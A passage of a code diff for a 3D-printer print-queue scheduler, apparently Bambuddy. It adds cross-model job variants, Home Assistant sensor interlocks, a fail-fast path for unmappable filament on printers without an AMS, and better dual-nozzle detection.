+    distinct = list(dict.fromkeys(reason for _model, reason in reasons))
+    if len(distinct) == 1:
+        return distinct[0]
+
+    if all(PrintScheduler._is_busy_only(reason) for _model, reason in reasons):
+        return " | ".join(distinct)
+
+    return "; ".join(f"{model or 'unassigned'}: {reason}" for model, reason in reasons)
+
+
+def _candidate_model_label(candidates: list[_ModelCandidate]) -> str | None:
+    """Human label for the models an item is waiting on ("H2S or H2C").
+
+    Notifications take a single target model. For a cross-model item the item's
+    own ``target_model`` is whichever variant happens to be first, which reads as
+    a lie once it is the H2C that actually runs — so name all of them.
+    """
+    models = list(dict.fromkeys(c.target_model for c in candidates if c.target_model))
+    if not models:
+        return None
+    return " or ".join(models)
+
+
 def _mapping_is_all_unresolved(mapping: list | None) -> bool:
 def _mapping_is_all_unresolved(mapping: list | None) -> bool:
     """True if ``mapping`` is a non-empty list whose every entry is the
     """True if ``mapping`` is a non-empty list whose every entry is the
     unresolved sentinel (-1 / None) — i.e. no required slot ever matched a tray.
     unresolved sentinel (-1 / None) — i.e. no required slot ever matched a tray.
@@ -200,6 +331,34 @@ def _mqtt_commands_rejected(status) -> bool:
     return False
     return False
 
 
 
 
+def _drying_ams_ids(status) -> list[int]:
+    """AMS unit ids currently running a drying cycle, per firmware telemetry.
+
+    ``dry_time`` is minutes remaining, so >0 is the firmware's own statement that
+    a cycle is active. Used by the dispatch watchdog to say *why* a print never
+    started (#2758) — it is a diagnostic, not a gate.
+
+    Deliberately not used to block or stop drying before dispatch. This printer
+    class supports drying concurrently with an active print
+    (``supports_drying_while_printing``), so drying is not incompatible with
+    printing in general; what #2758 shows is one X2D refusing to *begin* a print
+    while two AMS units were drying, one of them without its external PSU. Until
+    it is known whether the blocker is drying itself or the power budget
+    (``dry_sf_reason`` 1 / 8), acting on this would tear down drying that the
+    hardware is perfectly happy to continue.
+    """
+    ids: list[int] = []
+    for unit in (getattr(status, "raw_data", None) or {}).get("ams") or []:
+        if not isinstance(unit, dict):
+            continue
+        try:
+            if int(unit.get("dry_time") or 0) > 0:
+                ids.append(int(unit.get("id", 0)))
+        except (TypeError, ValueError):
+            continue
+    return ids
+
+
 def _installed_nozzle_diameters(status) -> list[float]:
 def _installed_nozzle_diameters(status) -> list[float]:
     """Parse the installed nozzle diameters from a PrinterState (#1899).
     """Parse the installed nozzle diameters from a PrinterState (#1899).
 
 
@@ -244,6 +403,43 @@ def _nozzle_mismatch_message(sliced_nozzle: float | None, installed: list[float]
     )
     )
 
 
 
 
+def _describe_filament(entry: dict, nozzle_key: str) -> str:
+    """One-line "PETG #000000 (left nozzle)" for an error message (#2771).
+
+    Shared by the required and loaded sides, which name their extruder
+    differently: a 3MF requirement carries ``nozzle_id``, a loaded tray carries
+    ``extruder_id``. Both are MQTT extruder ids — 0 is the right/main nozzle,
+    1 the left/deputy — and both are absent on single-nozzle printers, where
+    naming a nozzle would be noise.
+    """
+    parts = [(entry.get("type") or "filament").upper()]
+    if entry.get("color"):
+        parts.append(str(entry["color"]))
+    nozzle = entry.get(nozzle_key)
+    if nozzle == 0:
+        parts.append("(right nozzle)")
+    elif nozzle == 1:
+        parts.append("(left nozzle)")
+    return " ".join(parts)
+
+
+def _unmatched_filament_message(required: list[dict], loaded: list[dict]) -> str:
+    """Explain that nothing loaded matches what the file needs (#2771).
+
+    Only ever built for a printer with no AMS, where the loaded list is short
+    enough to quote in full and there is no "load another spool and hit Resume"
+    recovery — the external spool holder is all there is, so the user needs to
+    be told which filament to put on it.
+    """
+    want = ", ".join(_describe_filament(r, "nozzle_id") for r in required)
+    have = ", ".join(_describe_filament(f, "extruder_id") for f in loaded)
+    return (
+        f"No filament loaded on this printer matches the file. It needs {want}; "
+        f"the printer has {have} and no AMS. Load the required filament on the "
+        f"external spool holder, or send this job to a printer that has it."
+    )
+
+
 class PrintScheduler:
 class PrintScheduler:
     """Background scheduler that processes the print queue."""
     """Background scheduler that processes the print queue."""
 
 
@@ -415,6 +611,10 @@ class PrintScheduler:
                     .options(
                     .options(
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.library_file),
                         selectinload(PrintQueueItem.library_file),
+                        # Cross-model candidates (#671), plus each candidate's file
+                        # for the same cross-model gate. Lazy-loading either would
+                        # raise in async.
+                        selectinload(PrintQueueItem.variants).selectinload(PrintQueueVariant.library_file),
                     )
                     )
                     .order_by(
                     .order_by(
                         PrintQueueItem.printer_id,
                         PrintQueueItem.printer_id,
@@ -433,6 +633,10 @@ class PrintScheduler:
                     .options(
                     .options(
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.archive),
                         selectinload(PrintQueueItem.library_file),
                         selectinload(PrintQueueItem.library_file),
+                        # Cross-model candidates (#671), plus each candidate's file
+                        # for the same cross-model gate. Lazy-loading either would
+                        # raise in async.
+                        selectinload(PrintQueueItem.variants).selectinload(PrintQueueVariant.library_file),
                     )
                     )
                     .order_by(PrintQueueItem.printer_id, PrintQueueItem.position)
                     .order_by(PrintQueueItem.printer_id, PrintQueueItem.position)
                 )
                 )
@@ -508,6 +712,31 @@ class PrintScheduler:
                 if inflight_pid is not None:
                 if inflight_pid is not None:
                     busy_printers.add(inflight_pid)
                     busy_printers.add(inflight_pid)
 
 
+            # Printers held by a Home Assistant sensor interlock (#1148) — an
+            # enclosure door left open, say. The fixed-printer branch turns
+            # this into a waiting_reason the user can act on; the model-based
+            # branch hides these printers from the matcher so an "Any <model>"
+            # job runs on a sibling instead of queueing behind the held one.
+            #
+            # Deliberately NOT merged into busy_printers, even though that set
+            # already means "unavailable this pass". _check_auto_drying reads
+            # it as "is currently printing" and would put an idle-but-held
+            # printer down the mid-print drying path, which caps the drying
+            # temperature and skips the queue-only gating. A held printer is
+            # idle; it should dry exactly as it did before.
+            #
+            # Only sensors we actually read and found alerting appear here; see
+            # ha_sensor_manager.blocked_printers. A Home Assistant that is down
+            # holds nothing.
+            interlocked: dict[int, str] = {}
+            try:
+                interlocked = await ha_sensor_manager.blocked_printers(db)
+            except Exception as e:
+                # Never let the interlock stop the queue running. A broken
+                # lookup means no holds, not no dispatches.
+                logger.warning("Home Assistant interlock check failed: %s", e)
+                interlocked = {}
+
             # Log skip reasons once per queue check (not per item)
             # Log skip reasons once per queue check (not per item)
             skip_reasons: dict[str, int] = {}
             skip_reasons: dict[str, int] = {}
 
 
@@ -567,6 +796,28 @@ class PrintScheduler:
                     continue
                     continue
 
 
                 if item.printer_id:
                 if item.printer_id:
+                    # Held by a sensor interlock (#1148). Checked before the
+                    # busy_printers test that would otherwise swallow it
+                    # silently — "waiting for a printer" and "waiting for you
+                    # to shut the enclosure" need to read differently, and only
+                    # one of them is something the user can fix.
+                    #
+                    # The interlock is the only thing that writes a
+                    # waiting_reason on this branch — the model-based branch
+                    # nulls it at the moment it assigns a printer — so any
+                    # reason still standing once the hold lifts is stale and is
+                    # cleared here. Doing it at dispatch instead would leave a
+                    # shut door reading "Waiting on Enclosure Door" for as long
+                    # as the printer stayed busy with something else.
+                    interlock_reason = interlocked.get(item.printer_id)
+                    reason = f"Waiting on {interlock_reason}" if interlock_reason else None
+                    if item.waiting_reason != reason:
+                        item.waiting_reason = reason
+                        await db.commit()
+                    if interlock_reason:
+                        skip_reasons["sensor_interlock"] = skip_reasons.get("sensor_interlock", 0) + 1
+                        continue
+
                     # Specific printer assignment (existing behavior)
                     # Specific printer assignment (existing behavior)
                     if item.printer_id in busy_printers:
                     if item.printer_id in busy_printers:
                         continue
                         continue
@@ -653,7 +904,10 @@ class PrintScheduler:
                     # (all -1). A stored all-[-1] mapping is a bug artifact — a
                     # (all -1). A stored all-[-1] mapping is a bug artifact — a
                     # frontend status-load race can persist [-1] (#2589) — and
                     # frontend status-load race can persist [-1] (#2589) — and
                     # must be recomputed from live trays rather than trusted.
                     # must be recomputed from live trays rather than trusted.
-                    await self._ensure_ams_mapping(db, item.printer_id, item)
+                    unmappable = await self._ensure_ams_mapping(db, item.printer_id, item)
+                    if unmappable:
+                        await self._fail_unmappable_item(db, item, item.printer_id, unmappable)
+                        continue
 
 
                     # Filament-deficit pre-dispatch check (#1496). If the
                     # Filament-deficit pre-dispatch check (#1496). If the
                     # assigned spool can't satisfy any required slot grams,
                     # assigned spool can't satisfy any required slot grams,
@@ -695,60 +949,95 @@ class PrintScheduler:
                                 other.been_jumped = True
                                 other.been_jumped = True
                         await db.commit()
                         await db.commit()
 
 
-                elif item.target_model:
-                    # Model-based assignment - find any idle printer of matching model
-                    # Parse required filament types if present
-                    required_types = None
-                    if item.required_filament_types:
-                        try:
-                            required_types = json.loads(item.required_filament_types)
-                        except json.JSONDecodeError:
-                            pass  # Ignore malformed filament types; treat as no constraint
+                elif item.target_model or item.variants:
+                    # Model-based assignment - find any idle printer of matching model.
+                    # A plain model-based item has exactly one candidate, built from
+                    # its own columns. A cross-model item (#671) has one per sliced
+                    # variant and takes the first that matches, walking them in the
+                    # user's priority order so the pick is reproducible when more
+                    # than one printer is free in the same pass.
+                    candidates = _candidates_for(item)
+                    printer_id = None
+                    chosen: _ModelCandidate | None = None
+                    per_model_reasons: list[tuple[str | None, str]] = []
+
+                    if not candidates:
+                        # Every candidate file has been deleted or trashed out from
+                        # under this item. Hold it with something the user can act
+                        # on rather than letting it look dispatchable forever.
+                        per_model_reasons.append(
+                            (
+                                item.target_model,
+                                "Every file for this job has been deleted — add a file back or remove the item",
+                            )
+                        )
 
 
-                    # Parse filament overrides if present
-                    filament_overrides = None
-                    if item.filament_overrides:
-                        try:
-                            filament_overrides = json.loads(item.filament_overrides)
-                        except json.JSONDecodeError:
-                            pass
+                    for candidate in candidates:
+                        # Parse required filament types if present
+                        required_types = None
+                        if candidate.required_filament_types:
+                            try:
+                                required_types = json.loads(candidate.required_filament_types)
+                            except json.JSONDecodeError:
+                                pass  # Ignore malformed filament types; treat as no constraint
+
+                        # Parse filament overrides if present
+                        filament_overrides = None
+                        if candidate.filament_overrides:
+                            try:
+                                filament_overrides = json.loads(candidate.filament_overrides)
+                            except json.JSONDecodeError:
+                                pass
+
+                        # If overrides exist, use override types for validation instead
+                        effective_types = required_types
+                        if filament_overrides:
+                            override_types = sorted({o["type"] for o in filament_overrides if "type" in o})
+                            if override_types:
+                                # Merge: keep original types for non-overridden slots, add override types
+                                effective_types = sorted(set(required_types or []) | set(override_types))
+
+                        # Cross-model safety gate (#2578): never hand a 3MF sliced
+                        # for an incompatible model to a printer, no matter how the
+                        # row got into the DB (old rows, direct API writes). Held
+                        # as pending with an actionable waiting_reason — the user
+                        # fixes it by editing the item's target model.
+                        if not is_gcode_compatible(candidate.sliced_for, candidate.target_model):
+                            per_model_reasons.append(
+                                (
+                                    candidate.target_model,
+                                    f"File was sliced for {candidate.sliced_for}, which is not compatible with "
+                                    f"{candidate.target_model} — edit the item and fix its target model",
+                                )
+                            )
+                            skip_reasons["sliced_model_mismatch"] = skip_reasons.get("sliced_model_mismatch", 0) + 1
+                            continue
 
 
-                    # If overrides exist, use override types for validation instead
-                    effective_types = required_types
-                    if filament_overrides:
-                        override_types = sorted({o["type"] for o in filament_overrides if "type" in o})
-                        if override_types:
-                            # Merge: keep original types for non-overridden slots, add override types
-                            effective_types = sorted(set(required_types or []) | set(override_types))
-
-                    # Cross-model safety gate (#2578): never hand a 3MF sliced
-                    # for an incompatible model to a printer, no matter how the
-                    # row got into the DB (old rows, direct API writes). Held
-                    # as pending with an actionable waiting_reason — the user
-                    # fixes it by editing the item's target model.
-                    sliced_for = None
-                    if item.archive:
-                        sliced_for = item.archive.sliced_for_model
-                    elif item.library_file and item.library_file.file_metadata:
-                        sliced_for = item.library_file.file_metadata.get("sliced_for_model")
-
-                    if not is_gcode_compatible(sliced_for, item.target_model):
-                        printer_id = None
-                        waiting_reason = (
-                            f"File was sliced for {sliced_for}, which is not compatible with "
-                            f"{item.target_model} — edit the item and fix its target model"
-                        )
-                        skip_reasons["sliced_model_mismatch"] = skip_reasons.get("sliced_model_mismatch", 0) + 1
-                    else:
-                        printer_id, waiting_reason = await self._find_idle_printer_for_model(
+                        match_id, match_reason = await self._find_idle_printer_for_model(
                             db,
                             db,
-                            item.target_model,
-                            busy_printers,
+                            candidate.target_model,
+                            # Sensor-held printers are unavailable to the
+                            # matcher but stay out of busy_printers itself
+                            # (#1148) — see where `interlocked` is built.
+                            busy_printers | interlocked.keys(),
                             effective_types,
                             effective_types,
                             item.target_location,
                             item.target_location,
                             filament_overrides=filament_overrides,
                             filament_overrides=filament_overrides,
                             require_plate_clear=require_plate_clear,
                             require_plate_clear=require_plate_clear,
                         )
                         )
+                        if match_id:
+                            printer_id = match_id
+                            chosen = candidate
+                            break
+                        per_model_reasons.append((candidate.target_model, match_reason or ""))
+
+                    waiting_reason = None if printer_id else _collapse_waiting_reasons(per_model_reasons)
+
+                    # Fold the winning variant's file and settings onto the item
+                    # before anything else looks at them — the guards below and
+                    # every step of the dispatch read the item's own columns.
+                    if chosen is not None:
+                        self._resolve_variant(item, chosen)
 
 
                     # Update waiting_reason if changed and send notification when first waiting
                     # Update waiting_reason if changed and send notification when first waiting
                     if item.waiting_reason != waiting_reason:
                     if item.waiting_reason != waiting_reason:
@@ -762,7 +1051,7 @@ class PrintScheduler:
                             job_name = await self._get_job_name(db, item)
                             job_name = await self._get_job_name(db, item)
                             await notification_service.on_queue_job_waiting(
                             await notification_service.on_queue_job_waiting(
                                 job_name=job_name,
                                 job_name=job_name,
-                                target_model=item.target_model,
+                                target_model=_candidate_model_label(candidates) or item.target_model,
                                 waiting_reason=waiting_reason,
                                 waiting_reason=waiting_reason,
                                 db=db,
                                 db=db,
                             )
                             )
@@ -823,7 +1112,10 @@ class PrintScheduler:
                         # missing OR unresolved (all -1). Critical for model-based
                         # missing OR unresolved (all -1). Critical for model-based
                         # jobs where mapping wasn't computed upfront, and it also
                         # jobs where mapping wasn't computed upfront, and it also
                         # self-heals a bogus stored [-1] (#2589).
                         # self-heals a bogus stored [-1] (#2589).
-                        await self._ensure_ams_mapping(db, printer_id, item)
+                        unmappable = await self._ensure_ams_mapping(db, printer_id, item)
+                        if unmappable:
+                            await self._fail_unmappable_item(db, item, printer_id, unmappable)
+                            continue
 
 
                         # Filament-deficit pre-dispatch check (#1496).
                         # Filament-deficit pre-dispatch check (#1496).
                         if await self._block_on_filament_deficit(db, item):
                         if await self._block_on_filament_deficit(db, item):
@@ -1435,7 +1727,47 @@ class PrintScheduler:
                 matches += 1
                 matches += 1
         return matches
         return matches
 
 
-    async def _ensure_ams_mapping(self, db: AsyncSession, printer_id: int, item: PrintQueueItem) -> None:
+    def _resolve_variant(self, item: PrintQueueItem, candidate: _ModelCandidate) -> None:
+        """Fold the winning candidate's file and settings onto the queue row (#671).
+
+        This is the whole trick that keeps cross-model items cheap: the many-to-many
+        never escapes the selection loop. By the time the pass commits, the row
+        looks exactly like an ordinary single-file model-based item, so the upload,
+        archive creation, expected-print registration, print history and reprint
+        paths need no knowledge that variants exist.
+
+        No-ops for a non-variant candidate, which is already the item's own columns.
+
+        Safe to run and re-run: the item's file columns are only ever *read* when it
+        has no variants, so an item that gets resolved and then skipped (library-row
+        conflict, previous-print gate) is simply resolved again on the next pass.
+        """
+        variant = candidate.variant
+        if variant is None:
+            return
+
+        item.library_file_id = variant.library_file_id
+        item.library_file = variant.library_file
+        # The dispatcher checks archive_id first and would print that instead of
+        # the file we just picked. Creation refuses to combine the two, so this
+        # only ever fires on a hand-written row — clear it rather than silently
+        # dispatch something the matcher never considered.
+        item.archive_id = None
+        item.archive = None
+
+        item.target_model = variant.target_model
+        item.plate_id = variant.plate_id
+        item.ams_mapping = variant.ams_mapping
+        item.nozzle_mapping = variant.nozzle_mapping
+        item.filament_overrides = variant.filament_overrides
+        item.required_filament_types = variant.required_filament_types
+        if variant.print_time_seconds is not None:
+            # The row carried the shortest candidate's estimate so SJF could order
+            # it before a printer was known; now that one is chosen, record what is
+            # actually going to run so history and the ETA agree with reality.
+            item.print_time_seconds = variant.print_time_seconds
+
+    async def _ensure_ams_mapping(self, db: AsyncSession, printer_id: int, item: PrintQueueItem) -> str | None:
         """Ensure the queue item carries a usable AMS mapping before dispatch.
         """Ensure the queue item carries a usable AMS mapping before dispatch.
 
 
         Recomputes from live printer status when the stored mapping is missing OR
         Recomputes from live printer status when the stored mapping is missing OR
@@ -1451,6 +1783,14 @@ class PrintScheduler:
         external selection; the print command then keeps use_ams=True and the
         external selection; the print command then keeps use_ams=True and the
         firmware surfaces a clear AMS-mapping error instead of silently printing
         firmware surfaces a clear AMS-mapping error instead of silently printing
         to the empty external feed.
         to the empty external feed.
+
+        Returns an actionable message when that firmware error is the only
+        possible outcome — the matcher ran, matched nothing, and the printer has
+        no AMS to load a different spool into (#2771). The caller fails the item
+        on it instead of spending an upload on a print that cannot start.
+        Returns None everywhere else, including every case where we simply lack
+        the data to judge, so dispatch is only ever blocked on a positive
+        finding.
         """
         """
         stored_mapping: list | None = None
         stored_mapping: list | None = None
         if item.ams_mapping:
         if item.ams_mapping:
@@ -1462,7 +1802,7 @@ class PrintScheduler:
         # Already resolved (present and not all-unresolved) — keep as-is so a
         # Already resolved (present and not all-unresolved) — keep as-is so a
         # user's manual mapping is never overwritten.
         # user's manual mapping is never overwritten.
         if item.ams_mapping and not _mapping_is_all_unresolved(stored_mapping):
         if item.ams_mapping and not _mapping_is_all_unresolved(stored_mapping):
-            return
+            return None
 
 
         computed_mapping = await self._compute_ams_mapping_for_printer(db, printer_id, item)
         computed_mapping = await self._compute_ams_mapping_for_printer(db, printer_id, item)
         if computed_mapping and not _mapping_is_all_unresolved(computed_mapping):
         if computed_mapping and not _mapping_is_all_unresolved(computed_mapping):
@@ -1474,7 +1814,9 @@ class PrintScheduler:
                 computed_mapping,
                 computed_mapping,
             )
             )
             await db.commit()
             await db.commit()
-        elif _mapping_is_all_unresolved(stored_mapping):
+            return None
+
+        if _mapping_is_all_unresolved(stored_mapping):
             logger.warning(
             logger.warning(
                 "Queue item %s: stored ams_mapping %s is unresolved and could not be recomputed "
                 "Queue item %s: stored ams_mapping %s is unresolved and could not be recomputed "
                 "from live status on printer %s; clearing it so dispatch does not treat it as external",
                 "from live status on printer %s; clearing it so dispatch does not treat it as external",
@@ -1485,6 +1827,105 @@ class PrintScheduler:
             item.ams_mapping = None
             item.ams_mapping = None
             await db.commit()
             await db.commit()
 
 
+        return await self._unmappable_without_ams_message(db, printer_id, item, computed_mapping)
+
+    async def _unmappable_without_ams_message(
+        self,
+        db: AsyncSession,
+        printer_id: int,
+        item: PrintQueueItem,
+        computed_mapping: list[int] | None,
+    ) -> str | None:
+        """Message for a mapping that resolved nothing on an AMS-less printer (#2771).
+
+        A print dispatched with no mapping goes out as ``use_ams: true`` with no
+        ``ams_mapping`` and no ``ams_mapping2``, which the firmware rejects with
+        0700_8012 "Failed to get AMS mapping table" — after Bambuddy has already
+        uploaded several megabytes and burned its dispatch retries. With an AMS
+        attached that error is worth reaching: the user can load the right spool
+        and press Resume, so this returns None and today's behaviour stands. With
+        no AMS there is nothing to resume into — the external spool holder is the
+        whole inventory — so the useful answer is to say which filament is
+        missing and stop.
+
+        Fail-safe by construction, mirroring the nozzle-diameter guard (#1899):
+        every branch that lacks the evidence to be sure returns None.
+        """
+        # None means the matcher never ran (no requirements parsed from the 3MF,
+        # or nothing loaded at all) rather than "ran and matched nothing". Those
+        # dispatch as they always have.
+        if not _mapping_is_all_unresolved(computed_mapping):
+            return None
+
+        status = printer_manager.get_status(printer_id)
+        if status is None:
+            return None
+
+        # "No AMS" has to be a fact the printer stated, not the absence of a
+        # statement. `raw_data["ams"]` is written only once an AMS push has been
+        # handled and is preserved across partial pushes thereafter, so a missing
+        # key means we have not heard yet — most likely a reconnect, where the
+        # trays of a fully loaded AMS would be invisible for a few seconds. An
+        # empty list is the positive report of a printer with no AMS.
+        ams_units = status.raw_data.get("ams")
+        if not isinstance(ams_units, list) or ams_units:
+            return None
+
+        required = await self._get_filament_requirements(db, item)
+        loaded = self._build_loaded_filaments(status)
+        if not required or not loaded:
+            # Both were non-empty moments ago or the matcher could not have run.
+            # If the picture changed under us, say nothing rather than fail an
+            # item on stale evidence.
+            return None
+        self._apply_filament_overrides(item, required)
+        return _unmatched_filament_message(required, loaded)
+
+    async def _fail_unmappable_item(
+        self, db: AsyncSession, item: PrintQueueItem, printer_id: int, message: str
+    ) -> None:
+        """Fail a queue item whose filament mapping cannot resolve (#2771).
+
+        This replaces a failure, not a success: without it the item is uploaded,
+        rejected by the firmware with 0700_8012, retried twice more and failed
+        anyway with "never started the print after N dispatch attempts". So this
+        applies on the model-based path too, even though it means an "Any <model>"
+        job stops at the first printer offered rather than trying its siblings —
+        deferring instead would need the check to move inside
+        ``_find_printer_for_model``'s candidate loop, since un-assigning here just
+        re-assigns the same printer on the next tick.
+        """
+        item.status = "failed"
+        item.error_message = message
+        item.completed_at = datetime.now(timezone.utc)
+        item.waiting_reason = None
+        await db.commit()
+        logger.warning(
+            "Queue item %s: no usable AMS mapping on printer %s — %s",
+            item.id,
+            printer_id,
+            message,
+        )
+
+        job_name = await self._get_job_name(db, item)
+        printer = await self._get_printer(db, printer_id)
+        await notification_service.on_queue_job_failed(
+            job_name=job_name,
+            printer_id=printer_id,
+            printer_name=printer.name if printer else "Unknown",
+            reason=message,
+            db=db,
+        )
+        try:
+            await ws_manager.send_queue_item_failed(
+                user_id=item.created_by_id,
+                queue_item_id=item.id,
+                printer_id=printer_id,
+                reason="filament_unmappable",
+            )
+        except Exception:
+            pass
+
     async def _compute_ams_mapping_for_printer(
     async def _compute_ams_mapping_for_printer(
         self, db: AsyncSession, printer_id: int, item: PrintQueueItem
         self, db: AsyncSession, printer_id: int, item: PrintQueueItem
     ) -> list[int] | None:
     ) -> list[int] | None:
@@ -1537,37 +1978,7 @@ class PrintScheduler:
             logger.debug("No filament requirements found for queue item %s", item.id)
             logger.debug("No filament requirements found for queue item %s", item.id)
             return None
             return None
 
 
-        # Apply filament overrides if present
-        if item.filament_overrides:
-            try:
-                overrides = json.loads(item.filament_overrides)
-                override_map = {o["slot_id"]: o for o in overrides}
-                for req in filament_reqs:
-                    if req["slot_id"] in override_map:
-                        override = override_map[req["slot_id"]]
-                        req["type"] = override["type"]
-                        req["color"] = override["color"]
-                        # A manual/preference override SWAPS the slot's filament, so the
-                        # 3MF's original tray_info_idx now points at the old spool and must
-                        # be cleared — matching then falls back to type+colour. A
-                        # force_color_match override is not a swap: it carries the 3MF's
-                        # intended variant (Basic GFA00 / Matte GFA01 / Silk GFA06), so keep
-                        # it here too, letting the matcher pin the correct variant slot on a
-                        # printer holding two same-colour spools of different variants (#2650).
-                        # If that variant isn't loaded the matcher falls back to type+colour,
-                        # so an eligible printer never fails to map.
-                        req["tray_info_idx"] = (
-                            override.get("tray_info_idx", "") if override.get("force_color_match") else ""
-                        )
-                        logger.debug(
-                            "Queue item %s: Override slot %d -> %s %s",
-                            item.id,
-                            req["slot_id"],
-                            override["type"],
-                            override["color"],
-                        )
-            except (json.JSONDecodeError, KeyError, TypeError) as e:
-                logger.warning("Failed to apply filament overrides for queue item %s: %s", item.id, e)
+        self._apply_filament_overrides(item, filament_reqs)
 
 
         # Build loaded filaments from printer status
         # Build loaded filaments from printer status
         loaded_filaments = self._build_loaded_filaments(status)
         loaded_filaments = self._build_loaded_filaments(status)
@@ -1601,6 +2012,47 @@ class PrintScheduler:
             filament_reqs, loaded_filaments, prefer_lowest, inventory_remain_overrides, fts_installed
             filament_reqs, loaded_filaments, prefer_lowest, inventory_remain_overrides, fts_installed
         )
         )
 
 
+    def _apply_filament_overrides(self, item: PrintQueueItem, filament_reqs: list[dict]) -> None:
+        """Rewrite ``filament_reqs`` in place with the item's per-slot overrides.
+
+        Extracted from ``_compute_ams_mapping_for_printer`` so the unmappable
+        diagnosis (#2771) describes the filament the matcher actually looked
+        for, not the one the 3MF was sliced with — naming the pre-override
+        filament in a user-facing error would send the user to load the wrong
+        spool.
+        """
+        if not item.filament_overrides:
+            return
+        try:
+            overrides = json.loads(item.filament_overrides)
+            override_map = {o["slot_id"]: o for o in overrides}
+            for req in filament_reqs:
+                if req["slot_id"] in override_map:
+                    override = override_map[req["slot_id"]]
+                    req["type"] = override["type"]
+                    req["color"] = override["color"]
+                    # A manual/preference override SWAPS the slot's filament, so the
+                    # 3MF's original tray_info_idx now points at the old spool and must
+                    # be cleared — matching then falls back to type+colour. A
+                    # force_color_match override is not a swap: it carries the 3MF's
+                    # intended variant (Basic GFA00 / Matte GFA01 / Silk GFA06), so keep
+                    # it here too, letting the matcher pin the correct variant slot on a
+                    # printer holding two same-colour spools of different variants (#2650).
+                    # If that variant isn't loaded the matcher falls back to type+colour,
+                    # so an eligible printer never fails to map.
+                    req["tray_info_idx"] = (
+                        override.get("tray_info_idx", "") if override.get("force_color_match") else ""
+                    )
+                    logger.debug(
+                        "Queue item %s: Override slot %d -> %s %s",
+                        item.id,
+                        req["slot_id"],
+                        override["type"],
+                        override["color"],
+                    )
+        except (json.JSONDecodeError, KeyError, TypeError) as e:
+            logger.warning("Failed to apply filament overrides for queue item %s: %s", item.id, e)
+
     def _build_override_direct_mapping(self, force_overrides: list[dict], status) -> list[int] | None:
     def _build_override_direct_mapping(self, force_overrides: list[dict], status) -> list[int] | None:
         """Build an AMS mapping directly from force-color overrides without a 3MF.
         """Build an AMS mapping directly from force-color overrides without a 3MF.
 
 
@@ -1674,6 +2126,38 @@ class PrintScheduler:
         # Get ams_extruder_map for dual-nozzle printers (H2D, H2D Pro)
         # Get ams_extruder_map for dual-nozzle printers (H2D, H2D Pro)
         ams_extruder_map = status.raw_data.get("ams_extruder_map", {})
         ams_extruder_map = status.raw_data.get("ams_extruder_map", {})
 
 
+        # Dual-nozzle detection, used below to route external spools to an
+        # extruder (#2771). Mirrors `buildLoadedFilaments` in the frontend,
+        # which was corrected for #1257 while this copy kept the old signal.
+        #
+        # `ams_extruder_map` is derived from AMS info bits, so a dual-nozzle
+        # printer with zero AMS units reports an empty map — and every external
+        # spool then got `extruder_id=None`, which the nozzle-aware filter in
+        # `_match_filaments_to_slots` rejects outright because `None` equals
+        # neither 0 nor 1. On an X2D feeding from external spools only that left
+        # nothing to match, the mapping came back all -1, and the print went out
+        # with `use_ams: true` and no mapping table at all — firmware 0700_8012,
+        # "Failed to get AMS mapping table".
+        #
+        # `nozzles` is always a two-entry list (the state seeds it with two empty
+        # NozzleInfo stubs), so its length proves nothing; only a populated
+        # diameter on the second entry means real hardware. The other two signals
+        # are fallbacks for firmware revisions that surface one but not the
+        # other: a populated `ams_extruder_map` is dual-nozzle by construction,
+        # and so is more than one `vt_tray` entry, since single-nozzle printers
+        # expose exactly one external feed.
+        nozzles = getattr(status, "nozzles", None) or []
+        vt_trays = status.raw_data.get("vt_tray") or []
+        is_dual_nozzle = bool(
+            (len(nozzles) > 1 and getattr(nozzles[1], "nozzle_diameter", ""))
+            or ams_extruder_map
+            # isinstance, because a dict here would count its ~30 keys as trays.
+            # bambu_mqtt normalises vt_tray to a list before it reaches raw_data,
+            # so this is unreachable — but the loop below would raise on a dict
+            # and that is the pre-existing behaviour to keep, not to paper over.
+            or (isinstance(vt_trays, list) and len(vt_trays) > 1)
+        )
+
         # Parse AMS units from raw_data
         # Parse AMS units from raw_data
         ams_data = status.raw_data.get("ams", [])
         ams_data = status.raw_data.get("ams", [])
         for ams_unit in ams_data:
         for ams_unit in ams_data:
@@ -1710,7 +2194,7 @@ class PrintScheduler:
                     )
                     )
 
 
         # Check external spool(s) (vt_tray is a list)
         # Check external spool(s) (vt_tray is a list)
-        for idx, vt in enumerate(status.raw_data.get("vt_tray") or []):
+        for idx, vt in enumerate(vt_trays):
             if vt.get("tray_type"):
             if vt.get("tray_type"):
                 color = self._normalize_color(vt.get("tray_color", ""))
                 color = self._normalize_color(vt.get("tray_color", ""))
                 tray_id = int(vt.get("id", 254))
                 tray_id = int(vt.get("id", 254))
@@ -1724,7 +2208,9 @@ class PrintScheduler:
                         "is_ht": False,
                         "is_ht": False,
                         "is_external": True,
                         "is_external": True,
                         "global_tray_id": tray_id,
                         "global_tray_id": tray_id,
-                        "extruder_id": (255 - tray_id) if ams_extruder_map else None,
+                        # 254 = VIRTUAL_TRAY_DEPUTY_ID feeds extruder 1 (left),
+                        # 255 = VIRTUAL_TRAY_MAIN_ID feeds extruder 0 (right).
+                        "extruder_id": (255 - tray_id) if is_dual_nozzle else None,
                         "remain": vt.get("remain", -1),
                         "remain": vt.get("remain", -1),
                     }
                     }
                 )
                 )
@@ -2551,10 +3037,18 @@ class PrintScheduler:
                     self._drying_in_progress[pid] = time.monotonic()
                     self._drying_in_progress[pid] = time.monotonic()
 
 
     def _sync_drying_state(self):
     def _sync_drying_state(self):
-        """Sync in-memory drying state with actual printer status.
-
-        Handles backend restart — if a printer is drying but we don't know about it,
-        update our state. If we think it's drying but it's not, clear it.
+        """Drop printers from ``_drying_in_progress`` that are no longer drying.
+
+        One direction only: it prunes, it never adds. A printer drying without an
+        entry here — because the user started the cycle from Studio, the printer's
+        screen or Bambuddy's own manual Dry button, or because Bambuddy restarted
+        mid-cycle — stays unknown to the scheduler, so the "print takes priority"
+        stop at ``check_queue`` only ever applies to cycles Bambuddy itself began.
+
+        That is deliberate for now rather than an oversight: populating this from
+        telemetry would hand the scheduler authority to stop drying a user started
+        by hand. It also means the backend-restart case this used to claim to
+        handle is not handled.
         """
         """
         to_remove = []
         to_remove = []
         for pid in self._drying_in_progress:
         for pid in self._drying_in_progress:
@@ -3023,6 +3517,22 @@ class PrintScheduler:
             library_file = result.scalar_one_or_none()
             library_file = result.scalar_one_or_none()
             if library_file:
             if library_file:
                 return library_file.filename.replace(".gcode.3mf", "").replace(".3mf", "")
